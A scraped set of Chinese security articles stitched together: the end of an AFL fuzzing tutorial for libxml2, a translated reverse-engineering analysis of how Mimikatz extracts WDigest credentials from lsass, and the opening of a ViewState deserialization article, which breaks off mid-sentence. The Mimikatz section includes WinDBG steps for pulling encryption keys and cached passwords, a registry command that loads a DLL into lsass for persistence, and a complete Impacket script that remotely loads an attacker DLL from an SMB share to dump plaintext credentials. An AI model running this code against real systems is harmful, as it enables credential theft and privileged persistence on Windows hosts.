for (cur_node = a_node; cur_node; cur_node = cur_node->next)
{
if (cur_node->type == XML_ELEMENT_NODE)
{
printf("node name: %s\n", cur_node->name);
}
print_element_names(cur_node->children);
}
}
int main(int argc, char **argv)
{
xmlDoc *doc = NULL;
xmlNode *root_element = NULL;
if (argc != 2)
return(1);
doc = xmlReadFile(argv[1], NULL, 0);
if (doc == NULL) {
printf("error: could not parse file %s\n", argv[1]);
xmlFreeDoc(doc);
xmlCleanupParser();
return(-1);
}
while (__AFL_LOOP(1000))
{
root_element = xmlDocGetRootElement(doc);
print_element_names(root_element);
}
xmlFreeDoc(doc);
xmlCleanupParser();
return 0;
}
该程序的功能是先读取xml文件，然后遍历输出节点的内容
## 精简样本
首先是样本，这里找到一个专门收集各类样本的项目：<https://github.com/MozillaSecurity/fuzzdata>
但这个库实在太大了，用github下载得好久，我这里就把他先导入到gitee，然后再下载，这速度就快的一批了
根据afl中的使用指南，建议输入样本最好不要超过1kb，因此需要先筛选样本
`find ./xml/ -size -1024c > tmp.txt`
`mkdir less1k`
把小于1kb的找出来存储在less1k文件夹
> for l in `cat ./tmp.txt`;do cp $l ./less1k/ ;done;
然后使用afl-cmin进行精简样本，把执行相同路径的给去重，留下 **具有相同覆盖范围的最小子集**
`afl-cmin -i less1k/ -o cmin-out/ -m none ./harness1 @@`
这样一波精简，从1092个样本精简到148个
然后再使用afl-tmin，对单个文件进行精简，由于文件众多，这里可以用这样的命令循环执行
先`mkdir tmin-out`，然后cd进入 cmin-out目录
`for i in *; do afl-tmin -i $i -o ../tmin-out/$i -m none -- ../harness @@;
done;`
这是一个很长执行过程，需要对文件逐个精简，大概执行了几十分钟
其实感觉这个tmin的效果还是比较有限的，精简的效果并不是那么显著，第一步的直接大范围筛选效果更好一点
## 重新fuzz
`screen afl-fuzz -m none -i ./tmin-out/ -o out2 -x
./libxml_xml_read_memory_fuzzer.dict -- ./harness @@`
这里不再使用afl自带的xml关键词字典，而是在github上面找了一个，token比afl自带的更多
这里使用screen，是为了防止长时间挂着xshell的时候意外断开了，俺经常跑了几个小时由于网络问题就断掉了，害的我又得重新跑，用上screen就不用担心这种问题了
可以发现，同样是跑一天，路径明显变多，但执行速度就慢了很多，这是因为harness.c程序的逻辑也复杂了一点，经过的libxml2函数也更多，然而就是没有出crash，这、、这说明patch打的很成功啊。。。。Orz
# 参考资料
<https://github.com/mykter/afl-training> | 社区文章 |
# 深入分析Mimikatz：WDigest
|
##### 译文声明
本文是翻译文章，文章原作者 xpnsec，文章来源：blog.xpnsec.com
原文地址：<https://blog.xpnsec.com/exploring-mimikatz-part-1/>
译文仅供参考，具体内容表达以及含义原文为准。
## 0x00 前言
Mimikatz是个非常强大工具，我们曾打包过、封装过、注入过、使用powershell改造过这款工具，现在我们又开始向其输入内存dump数据。不论如何，从Windows系统`lsass`提取凭据时，Mimikatz仍然是首选工具。每当微软引入新的安全控制策略时，[GentilKiwi](https://twitter.com/gentilkiwi)总是能够想出奇招绕过防御，这也是Mimikatz充满活力的原因所在。然而如果大家之前看过Mimikatz的源码，就知道这绝非易事，该工具需要支持x86及x64的所有Windows版本（最近还增加了对ARM架构Windows的支持）。随着Mimikatz的声名远扬，蓝队现在也有各种方式能够检测这款工具。从根本上来讲，如果目标环境中部署了针对性安全机制，那么在目标主机上执行Mimikatz的行为就可能被检测到。
我一直以来都在强调，大家需要理解工具的内部原理，而不是执行脚本这么简单。现在安全厂商一直都在减少并监控常见的攻击技巧及攻击面，并且会比我们发现新方法的速度还要快，因此理解某种技术对底层API的调用能带来不少好处，可能避免我们的行为在重重防护的环境中被检测出来。
在这种情况下，许多后渗透工具集会以各种方式集成Mimikatz这个工具。现在有些安全厂商会检测进程与`lsass`的交互行为，而更多厂商会去努力去识别Mimikatz行为特征。
我一直都想在某些场景下抽离Mimikatz的某些功能（主要是不方便或者不可能转储内存数据的场景），但我却没有好好深入研究这款工具的底层实现，这一点实在有点让人困扰。
因此在过去几篇文章中，我开始探索这款工具的内部实现，主要从WDigest开始研究。我重点关注的是明文凭据如何缓存在`lsass`中，为什么可以使用`sekurlsa::wdigest`来提取这些凭据。这个过程需要反汇编以及调试，并且想达到Mimikatz的高度是非常困难的一件事，但最后我们会发现，如果只是想实现Mimikatz中的一部分功能、基于源代码来构建自己的工具，那么这个过程还是非常值得去尝试。
在本文中，我将探讨在`lsass`中加载任意DLL的其他方法，可以与本文的示例代码结合使用。
>
> 备注：本文大量用到了Mimikatz源代码，Mimikatz开发人员在这上面花了大量精力。当我们在阅读源码时，会发现其中涉及到许多未公开的结构，感受到开发者的辛苦付出。这里要感谢Mimikatz、[Benjamin
> Delpy](https://twitter.com/gentilkiwi)以及[Vincent Le
> Toux](https://twitter.com/mysmartlogon)的杰出工作。
## 0x01 sekurlsa::wdigest
如上所述，在本文中我们将重点关注WDigest，这也是Mimikatz最出名的一个功能。在Windows Server 2008
R2之前，系统默认情况下会缓存WDigest凭据，此后系统不再缓存明文凭据。
在逆向分析系统组件时，我通常喜欢attach调试器，观察组件如何在运行过程中与系统交互。不幸的是，在这种场景下，我们无法简单地将WinDBG附加到`lsass`上，如果这么操作，Windows会停止运行，警告用户系统即将重启。因此，我们需要attach内核，然后从Ring-0切换到`lsass`进程。如果大家之前没有使用WinDBG
attach内核，可以阅读我之前的[文章](https://blog.xpnsec.com/windows-warbird-privesc/)，了解如何设置内核调试器。
attach内核调试器后，我们需要抓取`lsass`进程的`EPROCESS`地址，可以使用如下命令`!process 0 0 lsass.exe`：
确定`EPROCESS`地址后（`ffff9d01325a7080`），我们可以请求将调试会话切换到`lsass`进程的上下文：
通过`lm`命令来确定现在我们具备WDigest DLL进程空间的访问权限：
如果此时我们发现符号并没有得到正确解析，通常情况下可以尝试`.reload /user`。
attach调试器后，让我们开始深入分析WDigest。
## 0x02 深入分析wdigest.dll（以及lsasrv.dll）
如果观察Mimikatz源代码，可以看到代码通过扫描特征来识别内存中的凭据信息。这里我们可以使用非常有名的[Ghidra](https://ghidra-sre.org/)工具，来看看Mimikatz在搜索哪些特征。
我使用的环境为Windows 10 x64，因此我重点关注`PTRN_WIN6_PasswdSet`特征，如下所示：
在Ghidra中输入这个搜索特征后，我们就能知道Mimikatz在内存中搜索什么：
如上图所示，我们找到了`LogSessHandlerPasswdSet`，特别是`l_LogSessList`指针。这个指针是从WDigest中提取凭据的关键，但在进一步分析前，我们可以先备份一下，通过交叉引用查找谁在调用这个函数，我们找到了如下信息：
这里我们找到了`WDigest.dll`导出的`SpAcceptCredentials`函数，这个函数有什么作用呢？
这个信息看起来非常有希望，我们可以看到凭据需要通过这个回调函数来传递。我们来确认一下自己的确没有偏离主题。在WinDBG中，我们可以使用`bp
wdigest!SpAcceptCredentials`来添加断点，然后在Windows中利用`runas`命令弹出一个shell：
这些操作应该足以触发断点。检查传给该函数的参数，我们可以看到传入的凭据：
如果我们继续执行，在`wdigest!LogSessHandlerPasswdSet`上添加另一个断点，可以发现虽然我们传入了用户名，但并没有看到我们的密码。然而在`LogSessHandlerPasswdSet`函数被调用之前，我们可以看到如下信息：
这实际上是用于Control Flow Guard的一个桩（stub）函数（[Ghidra
9.0.3](https://github.com/NationalSecurityAgency/ghidra/issues/318)似乎能够较好地显示CFG
stub），但如果我们在调试器中跟踪，就会发现系统实际上调用的是`LsaProtectMemory`：
这符合我们的预期，因为我们知道凭据会在内存中加密存储。不幸的是，`lsass`并没有对外公开`LsaProtectMemory`，因此我们需要知道如何重构该功能来解密先前提取出的凭据。跟踪反汇编代码，我们发现这个调用实际上是`LsaEncryptMemory`的封装函数：
而`LsaEncryptMemory`实际上是`BCryptEncrypt`的封装函数：
有趣的是，系统会根据待加密的数据块长度来选择加密/解密函数。如果输入的缓冲区长度能被8整除（如上图的`param_2 &
7`），那么就会使用AES算法。如果不满足该条件，则会使用3Des。
现在我们知道我们的密码经过`BCryptEncrypt`加密，但密钥在哪？如果往上翻翻，我们可以看到对`lsasrv!h3DesKey`以及`lsasrv!hAesKey`的引用。跟踪引用地址，我们可以看到`lsasrv!LsaInitializeProtectedMemory`用来给这些变量分配初始值。更具体一点，系统会调用`BCryptGenRandom`来生成密钥：
这意味着每次`lsass`启动时都会生成随机的新密钥，我们需要提取密钥才能解密已缓存的WDigest凭据。
回到Mimikatz源代码，确认一下我们并没有偏离方向。可以看到代码的确会搜索`LsaInitializeProtectedMemory`函数，同时还有一些特征用来区分不同的Windows版本及架构：
如果我们在Ghidra中搜索这些特征，可以找到如下信息：
这里我们可以看到对`hAesKey`地址的引用。因此，与之前的特征搜索类似，Mimikatz正在内存中寻找加密密钥。
接下来我们需要理解Mimikatz如何将密钥从内存中提取出来。为了完成这个任务，我们需要参考Mimikatz中的`kuhl_m_sekurlsa_nt6_acquireKey`，其中能看到对应不同操作系统版本的长度值。可以看到`hAesKey`以及`h3DesKey`（从`BCryptGenerateSymmetricKey`返回的`BCRYPT_KEY_HANDLE`类型）实际上指向的是内存中的一个结构体，其中包含生成的对称AES密钥以及3DES密钥。我们可以在Mimikatz中找到这个结构：
typedef struct _KIWI_BCRYPT_HANDLE_KEY {
ULONG size;
ULONG tag; // 'UUUR'
PVOID hAlgorithm;
PKIWI_BCRYPT_KEY key;
PVOID unk0;
} KIWI_BCRYPT_HANDLE_KEY, *PKIWI_BCRYPT_HANDLE_KEY;
可以将这个信息与WinDBG结合起来，检查其中的`UUUR`标签来确认我们没有偏离正轨：
在`0x10`偏移处，我们可以看到Mimikatz正在引用`PKIWI_BCRYPT_KEY`，结构如下所示：
typedef struct _KIWI_BCRYPT_KEY81 {
ULONG size;
ULONG tag; // 'MSSK'
ULONG type;
ULONG unk0;
ULONG unk1;
ULONG unk2;
ULONG unk3;
ULONG unk4;
PVOID unk5; // before, align in x64
ULONG unk6;
ULONG unk7;
ULONG unk8;
ULONG unk9;
KIWI_HARD_KEY hardkey;
} KIWI_BCRYPT_KEY81, *PKIWI_BCRYPT_KEY81;
当然，如果继续跟进，WinDBG也会显示相同的引用标签：
这个结构最后一个成员是`KIWI_HARD_KEY`，对应的结构如下：
typedef struct _KIWI_HARD_KEY {
ULONG cbSecret;
BYTE data[ANYSIZE_ARRAY]; // etc...
} KIWI_HARD_KEY, *PKIWI_HARD_KEY;
这个结构体中包含密钥的大小（`cbSecret`），`data`中包含实际的密钥。这意味着我们可以使用WinDBG来提取这个密钥，如下所示：
这样我们就得到了`h3DesKey`，大小为`0x18`字节，包含如下数据：
b9 a8 b6 10 ee 85 f3 4f d3 cb 50 a6 a4 88 dc 6e ee b3 88 68 32 9a ec 5a
我们可以通过相同的过程来提取`hAesKey`：
现在我们已经知道密钥的提取过程，我们需要寻找WDigest实际缓存的密钥。让我们回到前面讨论过的`l_LogSessList`指针。这个字段对应的是一个链表，我们可以使用WinDBG命令`!list
-x "dq @$extret" poi(wdigest!l_LogSessList)`来遍历链表：
这些表项对应的结构包含如下字段：
typedef struct _KIWI_WDIGEST_LIST_ENTRY {
struct _KIWI_WDIGEST_LIST_ENTRY *Flink;
struct _KIWI_WDIGEST_LIST_ENTRY *Blink;
ULONG UsageCount;
struct _KIWI_WDIGEST_LIST_ENTRY *This;
LUID LocallyUniqueIdentifier;
} KIWI_WDIGEST_LIST_ENTRY, *PKIWI_WDIGEST_LIST_ENTRY;
在这个结构之后有3个`LSA_UNICODE_STRING`字段，具体偏移如下：
* `0x30` – 用户名
* `0x40` – 主机名
* `0x50` – 加密后的密码
这里我们在WinDBG中使用如下命令来确保我们的研究方向没有问题：
!list -x "dS @$extret+0x30" poi(wdigest!l_LogSessList)
可以导出已缓存的用户名，如下所示：
最后我们可以使用类似的命令导出已加密的密码：
!list -x "db poi(@$extret+0x58)" poi(wdigest!l_LogSessList)
到目前为止，我们已经搜集到从内存中提取WDigest凭据的所有拼图。
掌握提取到的数据以及解密流程后，我们是否能将这些元素结合在一起，形成独立于Mimikatz的一款小工具？为了验证这是否可行，我构造了一个[PoC](https://gist.github.com/xpn/e3837a4fdee8ea1b05f7fea5e7ea9444)，其中包含大量注释。在Windows
10 x64（build 1809）上运行时，该工具能输出关于凭据提取的各种提示信息：
输出太多信息肯定不利于隐蔽我们的行为，但大家可以以此为例，了解开发定制工具的过程。
现在我们已经澄清如何抓取并解密WDigest已缓存的凭据，我们可以开始研究影响凭据收集的另一个因素：`UseLogonCredential`。
## 0x03 UseLogonCredential
越来越多人想提取明文密码，因此微软决定在默认情况下禁用这种协议。当然，还会有些用户在使用WDigest，因此为了能够重启该协议，微软给出了一个注册表项：`HKEY_LOCAL_MACHINE\SYSTEM\CurrentControlSet\Control\SecurityProviders\WDigest\UseLogonCredential`，将这个值从`0`改成`1`，就可以让WDigest重新开始缓存，这意味着渗透测试人员还是会有用武之地。此外GentiKiwi还提到，修改这个键值并不需要重启才能生效，后面我会讨论这一点。
让我们再来看一下`SpAcceptCredentials`，经过一番搜索后，我们找到如下代码：
这里我们可以看到系统在判断条件中使用了两个全局变量。如果`g_IsCredGuardEnabled`为`1`，或者`g_fParameter_UseLogonCredential`为`0`，那么就不会进入`LogSessHandlerPasswdSet`代码路径，而是会进入`LogSessHandlerNoPasswordInsert`代码路径。顾名思义，这个函数会缓存会话而不是密码，这也是我们经常会在Windows
2012上碰到的情况。根据变量名，我们有理由猜测这个变量受前面提到的注册表键值控制，我们可以跟踪变量赋值逻辑来确认这一点：
了解`WDigest.dll`中哪个变量会控制凭据缓存后，我们是否可以在不更新注册表的情况下做些变化？如果我们使用调试器，在运行时更新`g_fParameter_UseLogonCredential`参数，会出现什么情况？
恢复执行，我们可以看到系统会再次缓存明文凭据：
当然，我们都搞定内核调试器了，本来就可以做很多事情。但如果我们可以在不触发AV/EDR的情况下（参考之前我关于[Cylance](https://www.mdsec.co.uk/2019/03/silencing-cylance-a-case-study-in-modern-edrs/)的一篇文章）篡改`lsass`内存，那么我们就可以自己构造一个工具来操控这个变量。这里我又创建了包含大量输出的一个[工具](https://gist.github.com/xpn/163360379f3cce2443a7b074f0a173b8)，用来演示整个攻击过程。
这个工具会搜索并更新内存中的`g_fParameter_UseLogonCredential`变量值。如果我们面对的是受Credential
Guard保护的系统，那么更新变量值也不是特别难，这部分工作留给大家来完成。
执行PoC后，可以看到WDigest现在已经重新启用，并且无需设置注册表值，这样我们就可以提取出已缓存的凭据：
这个PoC肯定不大适合实际操作环境，但可以作为参考，帮助大家构造属于自己的工具。
当然，启用WDigest的这种方法存在一定风险，主要是需要对`lsass`执行`WriteProcessMemory`操作。但如果目标环境允许，那么这种方法就可以在不需要设置注册表值的情况下启用WDigest。除了WDigest外，还有一些明文凭据提取方法，可能更适用于实际目标环境（比如说`memssp`，参考[这篇文章](https://www.anquanke.com/post/id/180001)）。
前面提到过，根据GentilKiwi的说法，我们不需要重启就可以让`UseLogonCredential`生效。这里让我们再次回到反汇编代码寻找原因。
观察引用这个注册表值的其他位置，我们可以找到`wdigest!DigestWatchParamKey`，这个函数会监控许多键值，包括：
用来触发这个函数的Win32 API为[`RegNotifyKeyChangeValue`](https://docs.microsoft.com/en-us/windows/desktop/api/winreg/nf-winreg-regnotifychangekeyvalue)：
在WinDBG中，如果我们在`wdigest!DigestWatchParamKey`上设置断点，可以看到当我们添加`UseLogonCredential`时，就会触发断点：
## 0x04 将任意DLL载入LSASS
在使用反汇编工具时，我也在寻找有没有其他方法能够将代码载入`lsass`中（或者加载SSP），避免可能被安防产品hook的Win32
API。经过一些反汇编操作后，我在`lsasrv.dll`中找到如下代码：
以上代码位于`LsapLoadLsaDbExtensionDll`函数中，会尝试在用户提供的值上调用`LoadLibraryExW`，这样我们就有机会能够构造一个DLL加载到`lsass`进程中，比如：
BOOL APIENTRY DllMain( HMODULE hModule,
DWORD ul_reason_for_call,
LPVOID lpReserved
)
{
switch (ul_reason_for_call)
{
case DLL_PROCESS_ATTACH:
// Insert l33t payload here
break;
}
// Important to avoid BSOD
return FALSE;
}
在`DllMain`函数末尾，我们返回`FALSE`，强制`LoadLibraryEx`出现错误，这一点很重要。这样可以避免系统后续调用`GetProcAddress`。如果无法执行该操作，会导致系统重启后出现BSOD，除非我们移除DLL或者注册表键值。
构造出DLL后，我们需要做的就是创建如上注册表键值：
New-ItemProperty -Path HKLM:\SYSTEM\CurrentControlSet\Services\NTDS -Name LsaDbExtPt -Value "C:\xpnsec.dll"
系统会在重启时加载我们的DLL，因此可以作为高权限驻留技术，将我们的payload直接载入`lsass`中（当然需要PPL没有处于启用状态）。
## 0x05 远程将任意DLL载入LSASS
经过一番搜索后，我又在`samsrv.dll`中找到了类似的攻击方法。这里`LoadLibraryEx`会将我们可控的某个注册表键值载入`lsass`中：
同样，我们会添加一个注册表键值然后重启。然而这种情况下，触发这个代码逻辑要简单得多，我们可以使用SAMR RPC调用来触发。
这里我们可以使用前面的WDigest凭据提取代码来构造一个DLL，帮我们导出明文凭据。
为了加载这个DLL，我们可以使用一个非常简单的Impacket
Python脚本来修改注册表，添加一个键值（`HKLM\SYSTEM\CurrentControlSet\Services\NTDS\DirectoryServiceExtPt`），将其指向我们托管在开放式SMB共享的DLL上，然后通过`hSamConnect`
RPC调用来触发系统加载DLL。代码如下所示：
from impacket.dcerpc.v5 import transport, rrp, scmr, rpcrt, samr
from impacket.smbconnection import SMBConnection
def trigger_samr(remoteHost, username, password):
print("[*] Connecting to SAMR RPC service")
try:
rpctransport = transport.SMBTransport(remoteHost, 445, r'\samr', username, password, "", "", "", "")
dce = rpctransport.get_dce_rpc()
dce.connect()
dce.bind(samr.MSRPC_UUID_SAMR)
except (Exception) as e:
print("[x] Error binding to SAMR: %s" % e)
return
print("[*] Connection established, triggering SamrConnect to force load the added DLL")
# Trigger
samr.hSamrConnect(dce)
print("[*] Triggered, DLL should have been executed...")
def start(remoteName, remoteHost, username, password, dllPath):
winreg_bind = r'ncacn_np:445[\pipe\winreg]'
hRootKey = None
subkey = None
rrpclient = None
print("[*] Connecting to remote registry")
try:
rpctransport = transport.SMBTransport(remoteHost, 445, r'\winreg', username, password, "", "", "", "")
except (Exception) as e:
print("[x] Error establishing SMB connection: %s" % e)
return
try:
# Set up winreg RPC
rrpclient = rpctransport.get_dce_rpc()
rrpclient.connect()
rrpclient.bind(rrp.MSRPC_UUID_RRP)
except (Exception) as e:
print("[x] Error binding to remote registry: %s" % e)
return
print("[*] Connection established")
print("[*] Adding new value to SYSTEM\\CurrentControlSet\\Services\\NTDS\\DirectoryServiceExtPtr")
try:
# Add a new registry key
ans = rrp.hOpenLocalMachine(rrpclient)
hRootKey = ans['phKey']
subkey = rrp.hBaseRegOpenKey(rrpclient, hRootKey, "SYSTEM\\CurrentControlSet\\Services\\NTDS")
rrp.hBaseRegSetValue(rrpclient, subkey["phkResult"], "DirectoryServiceExtPt", 1, dllPath)
except (Exception) as e:
print("[x] Error communicating with remote registry: %s" % e)
return
print("[*] Registry value created, DLL will be loaded from %s" % (dllPath))
trigger_samr(remoteHost, username, password)
print("[*] Removing registry entry")
try:
rrp.hBaseRegDeleteValue(rrpclient, subkey["phkResult"], "DirectoryServiceExtPt")
except (Exception) as e:
print("[x] Error deleting from remote registry: %s" % e)
return
print("[*] All done")
print("LSASS DirectoryServiceExtPt POC\n @_xpn_\n")
start("192.168.0.111", "192.168.0.111", "test", "wibble", "\\\\opensharehost\\ntds\\legit.dll")
我们能成功从内存中提取出明文凭据，大家可以参考完整[操作步骤](https://asciinema.org/a/VwaStfgka8FHmHWhXjmBmu8zV)。
大家可以访问[此处](https://gist.github.com/xpn/12a6907a2fce97296428221b3bd3b394)下载DLL代码，我们对前文的示例稍微做了些修改。
## 0x06 总结
希望本文能帮大家理解WDigest凭据缓存原理，了解Mimikatz如何通过`sekurlsa::wdigest`命令来提取并解密密码。更重要的是，我希望本文能帮助大家构造自己的工具，方便大家在实际环境中行动。我将继续关注渗透测试中常用的其他工具或技术，大家如果有任何问题或建议，欢迎随时联系我。 | 社区文章 |
**作者：HuanGMz@知道创宇404实验室
时间：2020年10月30日**
> .NET 相关漏洞中，ViewState也算是一个常客了。Exchange CVE-2020-0688，SharePoint
> CVE-2020-16952 中都出现过ViewState的身影。其实ViewState 并不算漏洞，只是ASP.NET
> 在生成和解析ViewState时使用ObjectStateFormatter
> 进行序列化和反序列化，虽然在序列化后又进行了加密和签名，但是一旦泄露了加密和签名所使用的算法和密钥，我们就可以将ObjectStateFormatter
> 的反序列化payload 伪装成正常的ViewState，并触发ObjectStateFormatter 的反序列化漏洞。
>
> 加密和签名序列化数据所用的算法和密钥存放在web.confg 中，Exchange 0688 是由于所有安装采用相同的默认密钥，而Sharepoitn
> 16952 则是因为泄露web.confg 。
>
> .NET 反序列化神器 ysoserial.net 中有关于ViewState
> 的插件，其主要作用就是利用泄露的算法和密钥伪造ViewState的加密和签名，触发ObjectStateFormatter
> 反序列化漏洞。但是我们不应该仅仅满足于工具的使用，所以特意分析了ViewState 的加密和签名过程作成此文，把工具用的明明白白的。
>
> 初接触.NET，文中谬误纰漏之处在所难免，如蒙指教不胜感激。
### 1\. 调试.Net FrameWork
#### 1.1 .Net 源码
对于刚接触.Net反序列化，甚至刚接触C#的朋友来说，有一个舒适方便的调试环境实在是太重要了。这里就简单介绍一下如何进行.net framework
的底层调试。
.Net Framework
已经被微软[开源](https://referencesource.microsoft.com/)了，你可以在官方网站上下载源码或者直接在线浏览。目前开源的版本包括
.Net 4.5.1 到 4.8。但是要注意，虽然微软开源了.Net
的源码，以及相应的VS项目文件，但是只能用于代码浏览，而无法进行编译。因为缺少重要组件（包括xaml文件和资源文件）。
#### 1.2 调试
微软官文档有说明如何使用VS进行.Net源码的调试。其原理大概是通过pdb+源码的方式来进行单步调试。但经过实际尝试，发现并不是所有.net
程序集文件都有完整的pdb文件，其中一部分程序集的pdb是没有源码信息的。也就是说，只有一部分的程序集可以通过vs进行单步调试。
细节参考以下连接：<https://referencesource.microsoft.com/setup.html>
支持源码调试的程序集列表为：<https://referencesource.microsoft.com/indexedpdbs.txt>
在放弃使用vs进行调试后，我发现还可以使用dnspy 进行.net底层调试。dnspy
是一个开源的.Net反编译工具，与经典工具Reflector相比，它不仅可以用于反编译，还可以借助反编译直接进行调试。dnspy
的github链接在[这里](https://github.com/dnSpy/dnSpy)。可以下载源码进行编译，也可以直接下载编译好的版本，不过要注意满足它要求的.net
framework 版本。
**设置环境变量 COMPLUS_ZapDisable=1**
为什么要设置这个环境变量，为了禁用所有NGEN映像（* .ni.dll）的使用。
假如你的windows服务器上安装有IIS服务，并且上面运行一个网站。使用浏览器打开该网站，这会使IIS在后台创建一个工作进程，用于运行该网站。这时我们用
process explore去查看 w3wp.exe 进程加载的dll，你会发现为什么程序集后面都有一个.ni的后缀。System.Web.dll 变为了
System.Web.ni.dll ，并且该dll的描述中还特意写了 "System.Web.dll"。其实这就是在使用.Net的优化版代码。
设置环境变量 COMPLUS_ZapDisable=1
，重启windows（一定要重启，因为重启IIS服务才能应用到我们设置的新环境变量）。仍然用ie打开网站，然后使用Process
explore去查看w3wp.exe，这时你就会发现：网站工作进程加载的程序集变回了我们所熟知的System.Web.dll。
> 注意1：设置环境变量后要重启
>
> 注意2：如果找不到w3wp.exe，使用管理员运行process explore。
**使用dnspy 进行调试**
首先我们用process
explore检查`w3wp.exe`加载的程序集所在的位置。因为你的系统上可能安装有多个版本的.Net或者是不同位数的.Net。如果你在dnsPy
中打开了错误的程序集，你在上面下断点的时候会提示你：无法中断到该断点，因为没有加载该模块。
选择32位或者64位的
dnspy(与被调试进程匹配)，以管理员权限启动。随便找一个程序集，比如System.Web.dll，点开后我们看他第一行中所写的路径是否与目标进程加载的程序集相同：
如果不相同，左上方 文件->全部关闭，然后 文件->打开列表，从中选择一个版本合适的 .Net 。
然后上方
调试->附加到进程，选择`w3wp.exe`，如果有多个进程，我们可以通过进程号来确定。那么如何判断哪一个进程是我们需要的呢？方法有很多种，你可以通过
process explore 查看`w3wp.exe`的启动命令，看哪个是运行目标网站的工作进程。又或者，以管理员权限启动cmd，进入
C:\Windows\System32\inetsrv，然后运行appcmd list wp。
我们可以看到进程号和对应的网站集名称。
然后就是给目标函数下断点，刷新页面，会中断到断点。
### 2\. ViewState基础知识
在我们尝试利用ViewState反序列化之前，我们需要一些了解相关的知识。
> ASP.NET是由微软在.NET
> Framework框架中所提供，开发Web应用程序的类别库，封装在System.Web.dll文件中，显露出System.Web名字空间，并提供ASP.NET网页处理、扩展以及HTTP通道的应用程序与通信处理等工作，以及Web
> Service的基础架构。
也就是说，ASP.NET 是.NET Framework 框架提供的一个Web库，而ViewState则是ASP.NET所提供的一个极具特点的功能。
**出现ViewState的原因** ：
HTTP模型是无状态的，这意味着，每当客户端向服务端发起一个获取页面的请求时，都会导致服务端创建一个新的page类的实例，并且一个往返之后，这个page实例会被立刻销毁。假如服务端在处理第n+1次请求时，想使用第n次传给服务器的值进行计算，而这时第n次请求所对应的page实例早已被销毁，要去哪里找上一次传给服务器的值呢？为了满足这种需求，就出现了多种状态管理技术，而VewState正是ASP.NET
所采用的状态管理技术之一。
**ViewState是什么样的？**
要了解ViewState，我们要先知道什么叫做服务器控件。
> ASP.NET 网页在微软的官方名称中，称为 Web Form，除了是要和Windows
> Forms作分别以外，同时也明白的刻划出了它的主要功能：“让开发人员能够像开发 Windows Forms 一样的方法来发展 Web 网页”。因此
> ASP.NET Page 所要提供的功能就需要类似 Windows Forms 的窗体，每个 Web Form 都要有一个< form
> runat="server" >< /form >区块，所有的 ASP.NET 服务器控件都要放在这个区域中，这样才可以让 ViewState
> 等服务器控制能够顺畅的运作。
无论是HTML服务器控件、Web服务器控件 还是 Validation服务器控件，只要是ASP.NET 的服务器控件，都要放在< form
runat="server" >< /form >的区块中，其中的属性 runat="server" 表明了该表单应该在服务端进行处理。
ViewState原始状态是一个 字典类型。在响应一个页面时，ASP.NET 会把所有控件的状态序列化为一个字符串，然后作为 hidden input 的值
插入到页面中返还给客户端。当客户端再次请求时，该hidden input
就会将ViewState传给服务端，服务端对ViewState进行反序列化，获得属性，并赋给控件对应的值。
**ViewState的安全性:**
在2010年的时候，微软曾在《MSDN杂志》上发过一篇文章，讨论ViewState的安全性以及一些防御措施。文章中认为ViewState主要面临两个威胁：信息泄露和篡改。
信息泄露威胁：
原始的ViewState仅仅是用base64编码了序列化后的binary数据，未使用任何类型的密码学算法进行加密，可以使用LosFormatter（现在已经被ObjectStateFormatter替代）轻松解码和反序列化。
LosFormatter formatter = new LosFormatter();
object viewstateObj = formatter.Deserialize("/wEPDwULLTE2MTY2ODcyMjkPFgIeCHBhc3N3b3JkBQlzd29yZGZpc2hkZA==");
反序列化的结果实际上是一组System.Web.UI.Pair对象。
为了保证ViewState不会发生信息泄露，ASP.NEt 2.0 使用 ViewStateEncryptionMode属性
来启用ViewState的加密，该属性可以通过页面指令或在应用程序的web.config 文件中启用。
<%@ Page ViewStateEncryptionMode="Always" %>
ViewStateEncryptionMode 可选值有三个：Always、Never、Auto
篡改威胁：
加密不能防止篡改
，即使使用加密数据，攻击者仍然有可能翻转加密书中的位。所以要使用数据完整性技术来减轻篡改威胁，即使用哈希算法来为消息创建身份验证代码（MAC)。可以在web.config
中通过EvableViewStateMac来启用数据校验功能。
<%@ Page EnableViewStateMac="true" %>
注意：从.NET 4.5.2 开始，强制启用ViewStateMac 功能，也就是说即使你将
EnableViewStateMac设置为false，也不能禁止ViewState的校验。安全公告[KB2905247](https://docs.microsoft.com/en-us/security-updates/SecurityAdvisories/2013/2905247?redirectedfrom=MSDN)(于2014年9月星期二通过补丁程序发送到所有Windows计算机)将ASP.NET
设置为忽略EbableViewStateMac设置。
启用ViewStateMac后的大致步骤：
> (1)页面和所有参与控件的状态被收集到状态图对象中。
>
> (2)状态图被序列化为二进制格式
>
> a. 密钥值将附加到序列化的字节数组中。
> b. 为新的序列化字节数组计算一个密码哈希。
> c. 哈希将附加到序列化字节数组的末尾。
>
> (3) 序列化的字节数组被编码为base-64字符串。
>
> (4)base-64字符串将写入页面中的__VIEWSTATE表单值。
**利用ViewState 进行反序列化利用**
其实ViewState 真正的问题在与其潜在的反序列化漏洞风险。ViewState 使用ObjectStateFormatter
进行反序列化，虽然ViewState
采取了加密和签名的安全措施。但是一旦泄露web.config，获取其加密和签名所用的密钥和算法，我们就可以将ObjectStateFormatte
的反序列化payload
进行同样的加密与签名，然后再发给服务器。这样ASP.NET在进行反序列化时，正常解密和校验，然后把payload交给ObjectStateFormatter
进行反序列化，触发其反序列化漏洞，实现RCE。
### 3\. web.config 中关于ViewState 的配置
ASP.NET 通过web.config 来完成对网站的配置。
在web.config 可以使用以下的参数来开启或关闭ViewState的一些功能：
<pages enableViewState="false" enableViewStateMac="false" viewStateEncryptionMode="Always" />
**enableViewState** ： 用于设置是否开启viewState，但是请注意，根据 **安全通告KB2905247**
中所说，即使在web.config中将enableViewState 设置为false，ASP.NET服务器也始终被动解析
ViewState。也就是说，该选项可以影响ViewState的生成，但是不影响ViewState的被动解析。实际上，
**viewStateEncryptionMode** 也有类似的特点。
**enableViewStateMac** ： 用于设置是否开启ViewState Mac (校验)功能。在 **安全通告KB2905247**
之前，也就是4.5.2之前，该选项为false，可以禁止Mac校验功能。但是在4.5.2之后，强制开启ViewState Mac
校验功能，因为禁用该选项会带来严重的安全问题。不过我们仍然可以通过配置注册表或者在web.config
里添加危险设置的方式来禁用Mac校验，详情见后面分析。
**viewStateEncryptionMode** ： 用于设置是否开启ViewState Encrypt
(加密)功能。该选项的值有三种选择：Always、Auto、Never。
* Always表示ViewState始终加密；
* Auto表示 如果控件通过调用 RegisterRequiresViewStateEncryption() 方法请求加密，则视图状态信息将被加密，这是默认值；
* Never表示 即使控件请求了视图状态信息，也永远不会对其进行加密。
在实际调试中发现，viewStateEncryptionMode
